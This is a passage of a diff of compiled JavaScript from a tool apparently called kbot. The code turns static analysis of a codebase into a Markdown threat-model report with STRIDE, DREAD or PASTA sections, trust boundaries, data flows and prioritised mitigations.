if (files.length === 0) {
|
|
3233
|
+
return `No source files found in ${modelPath}.`;
|
|
3234
|
+
}
|
|
3235
|
+
// Determine tech stack
|
|
3236
|
+
const techStack = [];
|
|
3237
|
+
if (files.some(f => f.ext === '.ts' || f.ext === '.tsx'))
|
|
3238
|
+
techStack.push('TypeScript');
|
|
3239
|
+
if (files.some(f => f.ext === '.js' || f.ext === '.jsx'))
|
|
3240
|
+
techStack.push('JavaScript');
|
|
3241
|
+
if (files.some(f => f.ext === '.py'))
|
|
3242
|
+
techStack.push('Python');
|
|
3243
|
+
if (files.some(f => f.ext === '.go'))
|
|
3244
|
+
techStack.push('Go');
|
|
3245
|
+
if (files.some(f => f.ext === '.java'))
|
|
3246
|
+
techStack.push('Java');
|
|
3247
|
+
if (files.some(f => f.ext === '.rb'))
|
|
3248
|
+
techStack.push('Ruby');
|
|
3249
|
+
if (files.some(f => f.ext === '.rs'))
|
|
3250
|
+
techStack.push('Rust');
|
|
3251
|
+
if (files.some(f => f.ext === '.php'))
|
|
3252
|
+
techStack.push('PHP');
|
|
3253
|
+
// Detect components
|
|
3254
|
+
const components = {};
|
|
3255
|
+
for (const file of files) {
|
|
3256
|
+
const rel = relative(modelPath, file.path);
|
|
3257
|
+
const dir = rel.split('/')[0];
|
|
3258
|
+
if (!components[dir])
|
|
3259
|
+
components[dir] = [];
|
|
3260
|
+
if (components[dir].length < 5)
|
|
3261
|
+
components[dir].push(rel);
|
|
3262
|
+
}
|
|
3263
|
+
let threats;
|
|
3264
|
+
switch (methodology) {
|
|
3265
|
+
case 'stride':
|
|
3266
|
+
threats = analyzeSTRIDE(files, modelPath);
|
|
3267
|
+
break;
|
|
3268
|
+
case 'dread':
|
|
3269
|
+
threats = analyzeDREAD(files, modelPath);
|
|
3270
|
+
break;
|
|
3271
|
+
case 'pasta':
|
|
3272
|
+
threats = analyzePASTA(files, modelPath);
|
|
3273
|
+
break;
|
|
3274
|
+
default:
|
|
3275
|
+
threats = analyzeSTRIDE(files, modelPath);
|
|
3276
|
+
}
|
|
3277
|
+
const lines = [
|
|
3278
|
+
`# Threat Model — ${methodology.toUpperCase()}`,
|
|
3279
|
+
'',
|
|
3280
|
+
`**Target**: \`${modelPath}\``,
|
|
3281
|
+
`**Methodology**: ${methodology.toUpperCase()}`,
|
|
3282
|
+
`**Files Analyzed**: ${files.length}`,
|
|
3283
|
+
`**Tech Stack**: ${techStack.join(', ') || 'Unknown'}`,
|
|
3284
|
+
`**Date**: ${new Date().toISOString().split('T')[0]}`,
|
|
3285
|
+
'',
|
|
3286
|
+
'---',
|
|
3287
|
+
'',
|
|
3288
|
+
];
|
|
3289
|
+
// System Overview
|
|
3290
|
+
lines.push('## System Overview');
|
|
3291
|
+
lines.push('');
|
|
3292
|
+
lines.push('### Components');
|
|
3293
|
+
lines.push('');
|
|
3294
|
+
for (const [dir, paths] of Object.entries(components)) {
|
|
3295
|
+
if (paths.length > 0) {
|
|
3296
|
+
lines.push(`- **${dir}/**: ${paths.length} files`);
|
|
3297
|
+
}
|
|
3298
|
+
}
|
|
3299
|
+
lines.push('');
|
|
3300
|
+
// Trust Boundaries
|
|
3301
|
+
lines.push('### Trust Boundaries');
|
|
3302
|
+
lines.push('');
|
|
3303
|
+
lines.push('```');
|
|
3304
|
+
lines.push('Internet');
|
|
3305
|
+
lines.push(' |');
|
|
3306
|
+
lines.push(' | [TLS/HTTPS]');
|
|
3307
|
+
lines.push(' |');
|
|
3308
|
+
lines.push(' v');
|
|
3309
|
+
lines.push('CDN / Load Balancer');
|
|
3310
|
+
lines.push(' |');
|
|
3311
|
+
lines.push(' | [Trust Boundary 1: External -> Application]');
|
|
3312
|
+
lines.push(' |');
|
|
3313
|
+
lines.push(' v');
|
|
3314
|
+
lines.push('Application Server');
|
|
3315
|
+
lines.push(' |--- Static Assets');
|
|
3316
|
+
lines.push(' |--- API Routes ---- [Auth Middleware] ---- Protected Resources');
|
|
3317
|
+
lines.push(' |--- WebSocket');
|
|
3318
|
+
lines.push(' |');
|
|
3319
|
+
lines.push(' | [Trust Boundary 2: Application -> Data]');
|
|
3320
|
+
lines.push(' |');
|
|
3321
|
+
lines.push(' v');
|
|
3322
|
+
lines.push('Database / Cache / File Storage');
|
|
3323
|
+
lines.push(' |');
|
|
3324
|
+
lines.push(' | [Trust Boundary 3: Internal -> External Services]');
|
|
3325
|
+
lines.push(' |');
|
|
3326
|
+
lines.push(' v');
|
|
3327
|
+
lines.push('Third-Party APIs (Payment, Email, Auth providers)');
|
|
3328
|
+
lines.push('```');
|
|
3329
|
+
lines.push('');
|
|
3330
|
+
// Data Flows
|
|
3331
|
+
lines.push('### Data Flows');
|
|
3332
|
+
lines.push('');
|
|
3333
|
+
const hasAuth = files.some(f => /(?:auth|login|session)/i.test(f.path));
|
|
3334
|
+
const hasApi = files.some(f => /(?:api|route|endpoint)/i.test(f.path));
|
|
3335
|
+
const hasDb = files.some(f => /(?:database|db|model|schema)/i.test(f.path));
|
|
3336
|
+
const hasFileOps = files.some(f => /(?:upload|download|file|storage)/i.test(f.path));
|
|
3337
|
+
const hasPayments = files.some(f => /(?:stripe|payment|billing)/i.test(f.content));
|
|
3338
|
+
if (hasAuth) {
|
|
3339
|
+
lines.push('1. **Authentication Flow**: User -> Login Form -> API -> Auth Service -> JWT/Session -> Client');
|
|
3340
|
+
}
|
|
3341
|
+
if (hasApi) {
|
|
3342
|
+
lines.push('2. **API Request Flow**: Client -> API Gateway -> Auth Check -> Route Handler -> Database -> Response');
|
|
3343
|
+
}
|
|
3344
|
+
if (hasFileOps) {
|
|
3345
|
+
lines.push('3. **File Upload Flow**: Client -> Upload Endpoint -> Validation -> Storage -> CDN -> Serve');
|
|
3346
|
+
}
|
|
3347
|
+
if (hasPayments) {
|
|
3348
|
+
lines.push('4. **Payment Flow**: Client -> Checkout -> Payment Provider (Stripe) -> Webhook -> Order Update');
|
|
3349
|
+
}
|
|
3350
|
+
if (hasDb) {
|
|
3351
|
+
lines.push('5. **Data Flow**: User Input -> Validation -> Sanitization -> ORM/Query -> Database -> Response Serialization');
|
|
3352
|
+
}
|
|
3353
|
+
lines.push('');
|
|
3354
|
+
// Threats
|
|
3355
|
+
lines.push('---');
|
|
3356
|
+
lines.push('');
|
|
3357
|
+
lines.push('## Identified Threats');
|
|
3358
|
+
lines.push('');
|
|
3359
|
+
if (methodology === 'stride') {
|
|
3360
|
+
const categories = ['Spoofing', 'Tampering', 'Repudiation', 'Information Disclosure', 'Denial of Service', 'Elevation of Privilege'];
|
|
3361
|
+
for (const cat of categories) {
|
|
3362
|
+
const catThreats = threats.filter(t => t.category === cat);
|
|
3363
|
+
lines.push(`### ${cat}`);
|
|
3364
|
+
lines.push('');
|
|
3365
|
+
if (catThreats.length === 0) {
|
|
3366
|
+
lines.push('_No specific threats identified for this category based on static analysis._');
|
|
3367
|
+
lines.push('');
|
|
3368
|
+
}
|
|
3369
|
+
else {
|
|
3370
|
+
for (const t of catThreats) {
|
|
3371
|
+
lines.push(`#### ${t.threat}`);
|
|
3372
|
+
lines.push('');
|
|
3373
|
+
lines.push(`**Severity**: ${t.severity.toUpperCase()}`);
|
|
3374
|
+
lines.push(`**Description**: ${t.description}`);
|
|
3375
|
+
if (t.affected.length > 0) {
|
|
3376
|
+
lines.push(`**Affected Components**: ${t.affected.slice(0, 5).map(a => `\`${a}\``).join(', ')}${t.affected.length > 5 ? ` +${t.affected.length - 5} more` : ''}`);
|
|
3377
|
+
}
|
|
3378
|
+
lines.push(`**Mitigation**: ${t.mitigation}`);
|
|
3379
|
+
lines.push('');
|
|
3380
|
+
}
|
|
3381
|
+
}
|
|
3382
|
+
}
|
|
3383
|
+
}
|
|
3384
|
+
else if (methodology === 'dread') {
|
|
3385
|
+
const sorted = threats.sort((a, b) => SEVERITY_SCORE[b.severity] - SEVERITY_SCORE[a.severity]);
|
|
3386
|
+
for (const t of sorted) {
|
|
3387
|
+
lines.push(`### ${t.threat}`);
|
|
3388
|
+
lines.push('');
|
|
3389
|
+
lines.push(`**Category**: ${t.category}`);
|
|
3390
|
+
lines.push(`**Severity**: ${t.severity.toUpperCase()}`);
|
|
3391
|
+
lines.push(`**Description**: ${t.description}`);
|
|
3392
|
+
if (t.affected.length > 0) {
|
|
3393
|
+
lines.push(`**Affected Components**: ${t.affected.slice(0, 5).map(a => `\`${a}\``).join(', ')}`);
|
|
3394
|
+
}
|
|
3395
|
+
lines.push(`**Mitigation**: ${t.mitigation}`);
|
|
3396
|
+
lines.push('');
|
|
3397
|
+
}
|
|
3398
|
+
}
|
|
3399
|
+
else if (methodology === 'pasta') {
|
|
3400
|
+
for (const t of threats) {
|
|
3401
|
+
lines.push(`### ${t.threat}`);
|
|
3402
|
+
lines.push('');
|
|
3403
|
+
if (t.category.startsWith('PASTA Stage')) {
|
|
3404
|
+
lines.push(`**Stage**: ${t.category}`);
|
|
3405
|
+
}
|
|
3406
|
+
else {
|
|
3407
|
+
lines.push(`**Category**: ${t.category}`);
|
|
3408
|
+
lines.push(`**Severity**: ${t.severity.toUpperCase()}`);
|
|
3409
|
+
}
|
|
3410
|
+
lines.push(`**Description**: ${t.description}`);
|
|
3411
|
+
if (t.affected.length > 0 && t.affected[0] !== 'application-wide') {
|
|
3412
|
+
lines.push(`**Affected Components**: ${t.affected.slice(0, 5).map(a => `\`${a}\``).join(', ')}`);
|
|
3413
|
+
}
|
|
3414
|
+
lines.push(`**Mitigation**: ${t.mitigation}`);
|
|
3415
|
+
lines.push('');
|
|
3416
|
+
}
|
|
3417
|
+
}
|
|
3418
|
+
// Summary
|
|
3419
|
+
lines.push('---');
|
|
3420
|
+
lines.push('');
|
|
3421
|
+
lines.push('## Summary & Recommendations');
|
|
3422
|
+
lines.push('');
|
|
3423
|
+
lines.push(`Total threats identified: **${threats.length}**`);
|
|
3424
|
+
lines.push('');
|
|
3425
|
+
const criticalThreats = threats.filter(t => t.severity === 'critical');
|
|
3426
|
+
const highThreats = threats.filter(t => t.severity === 'high');
|
|
3427
|
+
const mediumThreats = threats.filter(t => t.severity === 'medium');
|
|
3428
|
+
if (criticalThreats.length > 0) {
|
|
3429
|
+
lines.push('### Immediate Actions Required');
|
|
3430
|
+
lines.push('');
|
|
3431
|
+
for (const t of criticalThreats) {
|
|
3432
|
+
lines.push(`- [ ] ${t.threat}: ${t.mitigation}`);
|
|
3433
|
+
}
|
|
3434
|
+
lines.push('');
|
|
3435
|
+
}
|
|
3436
|
+
if (highThreats.length > 0) {
|
|
3437
|
+
lines.push('### High Priority');
|
|
3438
|
+
lines.push('');
|
|
3439
|
+
for (const t of highThreats) {
|
|
3440
|
+
lines.push(`- [ ] ${t.threat}: ${t.mitigation}`);
|
|
3441
|
+
}
|
|
3442
|
+
lines.push('');
|
|
3443
|
+
}
|
|
3444
|
+
if (mediumThreats.length > 0) {
|
|
3445
|
+
lines.push('### Medium Priority');
|
|
3446
|
+
lines.push('');
|
|
3447
|
+
for (const t of mediumThreats.slice(0, 10)) {
|
|
3448
|
+
lines.push(`- [ ] ${t.threat}: ${t.mitigation}`);
|
|
3449
|
+
}
|
|
3450
|
+
lines.push('');
|
|
3451
|
+
}
|
|
3452
|
+
lines.push('### Ongoing');
|
|
3453
|
+
lines.push('');
|
|
3454
|
+
lines.push('- [ ] Implement automated security testing in CI/CD');
|
|
3455
|
+
lines.push('- [ ] Schedule regular threat model reviews (quarterly)');
|
|
3456
|
+
lines.push('- [ ] Conduct dynamic penetration testing annually');
|
|
3457
|
+
lines.push('- [ ] Monitor dependency vulnerabilities continuously');
|
|
3458
|
+
lines.push('- [ ] Review access controls after team changes');
|
|
3459
|
+
lines.push('');
|
|
3460
|
+
lines.push('---');
|
|
3461
|
+
lines.push('');
|
|
3462
|
+
lines.push(`_Threat model generated by kbot using ${methodology.toUpperCase()} methodology._`);
|
|
3463
|
+
lines.push('_This is based on static code analysis. Manual review and dynamic testing are recommended for complete coverage._');
|
|
3464
|
+
return lines.join('\n');
|
|
3465
|
+
},
|
|
3466
|
+
});
|
|
3467
|
+
}
|
|
3468
|
+
//# sourceMappingURL=redblue.js.map
|